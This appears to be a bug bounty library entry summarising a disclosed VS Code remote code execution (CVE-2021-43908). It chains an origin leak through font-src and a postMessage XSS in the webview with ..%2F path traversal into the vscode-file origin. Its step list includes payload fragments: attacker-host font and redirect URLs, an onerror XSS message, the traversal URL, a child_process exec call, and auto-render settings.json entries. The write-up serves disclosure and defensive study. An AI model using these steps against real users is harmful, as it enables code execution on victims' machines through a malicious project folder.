# Visual Studio Code - Remote Code Execution in Restricted Mode (CVE-2021-43908)

Markdown preview in VSCode leaked webview origin via font-src, enabling postMessage XSS, then path traversal into vscode-file origin for RCE in Restricted Mode.

- Payout: $3,000
- Severity: high
- Program: Microsoft
- Credited: s1r1us, Maxwell Garrett
- Disclosed: 2022-06-29
- CVE: CVE-2021-43908
- Write-up quality: 8/10
- Original: https://blog.electrovolt.io/posts/vscode-rce/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-electrovolt-io-posts-vscode-rce
- Tags: domain:desktop impact:rce kind:bounty platform:blog sev:high tech:electron technique:chained technique:source-review vuln:path-traversal vuln:rce vuln:xss

**Target:** Electron desktop app (vscode-webview:// and vscode-file:// origins)
**Root cause:** vscode-webview postMessage handler trusts a parentOrigin query parameter, and vscode-file:// path traversal allows loading arbitrary files outside the install path; combined with origin leak via font-src and meta redirect, attacker-controlled markdown achieves XSS then node-enabled RCE.
**Steps:**
1. Craft markdown with `<style>@font-face{src:url(https://attacker/origin.php)}</style>` to leak vscode-webview extension ID via Origin header
2. Add `<meta http-equiv="refresh" content="3;url=https://attacker/poc.php">` to redirect to attacker page
3. Attacker page embeds iframe `vscode-webview://ID/index.html?...&parentOrigin=https://attacker`
4. postMessage `{channel:'content',args:{contents:'<img src=x onerror=...>',options:{allowScripts:true}}}` to get XSS in webview
5. Send `{target:origin,channel:'do-reload'}` to vscode-file to leak user directory via `args.state.resource`
6. Navigate to `vscode-file://vscode-app/.../app/..%2F..%2F..%2F.../victim_folder/test.html` containing `top.require('child_process').exec(...)`
7. Ship settings.json with `workbench.editorAssociations` mapping `*.md` to preview and `workbench.startupEditor: readme` to auto-render
**How found:** Noticed CSP blocks inline script but font-src allows external loads leaking Origin; observed postMessage handler trusts parentOrigin query param; tested vscode-file navigation and found `..%2F` traversal bypasses install-path restriction; used do-reload message to leak resource path.
**Exploitation:** Victim opens malicious project/folder; markdown auto-renders, leaks origin, redirects to attacker page, XSSes webview, leaks user path, navigates to attacker HTML in project folder under vscode-file origin with nodeIntegration, executing OS commands (calc/Calculator).
**Escalation:** Chained origin leak → webview XSS → path traversal on vscode-file → node RCE; settings.json removes user interaction.
**Insight:** When CSP blocks scripts, look for side channels (font-src, img-src) that leak Origin/Referer; and audit postMessage origin checks that read from query params rather than actual sender origin.